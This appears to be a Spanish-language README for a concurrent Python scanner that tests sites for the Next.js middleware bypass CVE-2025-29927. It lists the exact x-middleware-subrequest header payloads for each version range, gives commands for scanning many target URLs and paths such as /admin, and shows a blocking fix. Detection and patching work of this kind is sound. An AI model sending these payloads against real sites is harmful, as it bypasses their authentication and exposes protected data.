
Escáner automatizado de PoC para la vulnerabilidad de omisión de middleware de Next.js CVE-2025-29927. Prueba múltiples payloads de x-middleware-subrequest a través de URLs objetivo con escaneo concurrente y exportación JSON.
Una herramienta robusta de prueba de concepto (PoC) para detectar la vulnerabilidad de middleware de Next.js (CVE-2025-29927).
Esta herramienta prueba una vulnerabilidad crítica en aplicaciones Next.js donde la cabecera x-middleware-subrequest puede usarse para eludir verificaciones de seguridad implementadas en el middleware. El exploit consiste en enviar solicitudes HTTP con cabeceras maliciosas específicas, que varían según la versión de Next.js.
Según la investigación, existen diferentes payloads para diferentes versiones de Next.js:
Versiones anteriores a la 12.2:
x-middleware-subrequest: pages/_middleware
Versiones a partir de la 12.2:
x-middleware-subrequest: middleware
o
x-middleware-subrequest: src/middleware
(si la aplicación usa el directorio src)
Versiones más recientes (como 15.x):
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
o
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
Nuestra PoC prueba todos estos payloads automáticamente e informa cuál tuvo éxito.
# Clone el repositorio o descargue los archivos
# Navegue hasta el directorio
cd poc-nextjs-2025
# Instale los paquetes necesarios
pip install -r requirements.txt
python main.py -u https://ejemplo.com # Probar una sola URL
python main.py -f objetivos.txt # Probar múltiples URLs desde un archivo
# Escaneo básico de un solo objetivo
python main.py -u https://ejemplo.com
# Escanear múltiples objetivos con rutas personalizadas
python main.py -f objetivos.txt -p /api/users,/admin,/dashboard
# Escanear con mayor concurrencia y tiempo de espera más largo
python main.py -u https://ejemplo.com -t 10 --timeout 15
# Guardar resultados en un archivo JSON
python main.py -u https://ejemplo.com -o resultados_scan.json
El escáner funciona mediante:
x-middleware-subrequest según las versiones de Next.jsSi descubre aplicaciones vulnerables, aplique estas mitigaciones:
x-middleware-subrequestexport function middleware(request: NextRequest) {
if (request.headers.has('x-middleware-subrequest')) {
return new Response('Unauthorized', { status: 401 });
}
return NextResponse.next();
}
| Opción | Descripción |
|---|
-u, --url URL | URL objetivo para escanear |
-f, --file ARCHIVO | Archivo que contiene múltiples URLs para escanear (una por línea) |
-p, --paths RUTAS | Lista separada por comas de rutas a probar (por defecto: rutas comunes) |
-t, --threads N | Número de hilos concurrentes (por defecto: 5) |
-o, --output ARCHIVO | Guardar resultados en un archivo JSON |
--timeout N | Tiempo de espera de la solicitud en segundos (por defecto: 10) |